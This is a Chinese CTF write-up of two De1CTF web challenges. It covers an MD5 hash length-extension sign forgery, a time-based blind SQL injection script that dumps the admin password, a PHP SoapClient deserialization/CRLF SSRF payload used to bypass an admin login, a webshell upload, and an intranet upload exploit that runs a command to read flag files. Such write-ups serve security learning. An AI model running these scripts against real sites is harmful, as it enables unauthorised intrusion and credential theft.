De1ctf Web复现

前言

最近深感自己语言基础差,得恶补一下了= =

SSRFMe

考察点:Hash长度拓展攻击

这题我了解到有三种解法,其中一个字符串拼接还挺有意思的,不过听说师傅投先知没有被收,估计应该在博客里,有兴趣可以去学习一波。

直接给了代码,我们审计一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#! /usr/bin/env python
# encoding=utf-8

from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16) # 生成一个长度为16的随机字符串

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

#
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


# 传入ip,md5后返回沙盒文件名
def md5(content):
return hashlib.md5(content).hexdigest()


# param禁用gopher和file协议
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

先看Exec()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 运行一个scan函数,参数可控
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

主要功能有scanreadscan会执行一个scan()函数(param可控)、并将结果打印并存入result.txt,read将result.txt的内容读出来。

于是我们跟进scan()函数:

1
2
3
4
5
6
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

发现可以读取本地文件,但是waf处有file和gopher的黑名单:

1
2
3
4
5
6
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

根据hint尝试访问./flag.txt,发现返回签名

img

看一下验证签名的函数:

1
2
3
4
5
6
7
8
9
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

很容易想到hash拓展read读取flag

思路:先访问flag.txt获取初始sign,然后hash拓展实现scan储存和read读取即可获取flag。

hash长度拓展我这里用的是HashPump,原理可以参考我的另一篇文章:Hash长度拓展攻击

img

注意:记得把’\x’换成’%’,另外key的长度是24不是16(包含’flag.txt’)

img

注意:Exec()函数和geneSign()函数在不同路由下,分别是’/De1ta’和’’/geneSign’

flag到手~

Shellshellshell

考察点:原题搜索(逃 、SoapClient类反序列化。

首先扫目录把源码down下来,然后开始审计:

发现insert()函数有点问题:

1
2
3
4
5
6
7
8
9
10
if(isset($_POST['signature']) && isset($_POST['mood'])) {

$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}

发现可以延时注入,于是跑一下admin的密码,写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -- coding: utf-8 --
import requests
import string
import time

url = "http://a24cf81d-16b9-45cc-9ab1-23b73378fba1.node2.buuoj.cn.wetolink.com:82/index.php?action=publish"
s = requests.session()
cookies = {'PHPSESSID': '4em1g9rscdc9mfvddp6nno8i17'}

# 爆破长度
max_length = 100
# 字符集合
character = "abcdef1234567890"
# 数据库名
flag = ""
# 遍历每一个字符
for i in range(1, max_length):
for c in character:
signature = "123`,(if((ascii(substr((select password from ctf_users limit 1),%d,1)))=%d,sleep(5),1)))#" % (i, ord(c))
mood = 0
data = {'signature': signature, 'mood': mood}
try:

s.post(url, data=data, cookies=cookies, timeout=4.5)
except requests.exceptions.ReadTimeout:
flag += c
print(flag)
break

跑一下脚本,即可得到admin的密码,尝试登录,发现登录失败,因为admin设置了非本地ip不允许登录,我们需要绕过$_SERVER [‘REMOTE_ADDR’],很容易想到SSRF,再加上存在反序列化漏洞,这里可以考虑利用SoapClient原生类的反序列化来实现SSRF。

贴个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$target = 'http://xxx.xxx.xxx.xxx/index.php?action=login';
$post_string = 'username=admiin&password=jaivypassword&code=(自己的验证码)';
$headers = array(
'Cookie: PHPSESSID=1234' #(未登录的cookie,便于以admin身份进行登陆)
);
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "aaab"));
//因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);

echo bin2hex($aaa);
?>

将跑出的payloda注入进数据库,访问action=index即可触发反序列化,之后用新的Cookie登录,由于该Cookie与admin绑定,将会直接以admin身份登录,从而绕过了限制。

登录以后是一个裸传文件,直接上传一个shell,Antsword连接。

根据之前源码中的提示,flag应该在内网,于是我们康康本机地址和/etc/hosts,扫一下C段,发现在.7的80端口有php文件,wget保存下来一看,貌似又是一道原题:

直接贴一个glzjin师傅的php脚本Orz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

$curl = curl_init();

curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.16.54.2",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"glzjin2.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nglzjin2.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../glzjin2.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}

PS: nc扫描主机端口:nc -z -v host_name port_range

最后即可获得flag:

小结

shellshellshell这道题学到很多,之后应该会深入学习一下SoapClient的反序列化 ( 有时间的话,咕咕咕

0%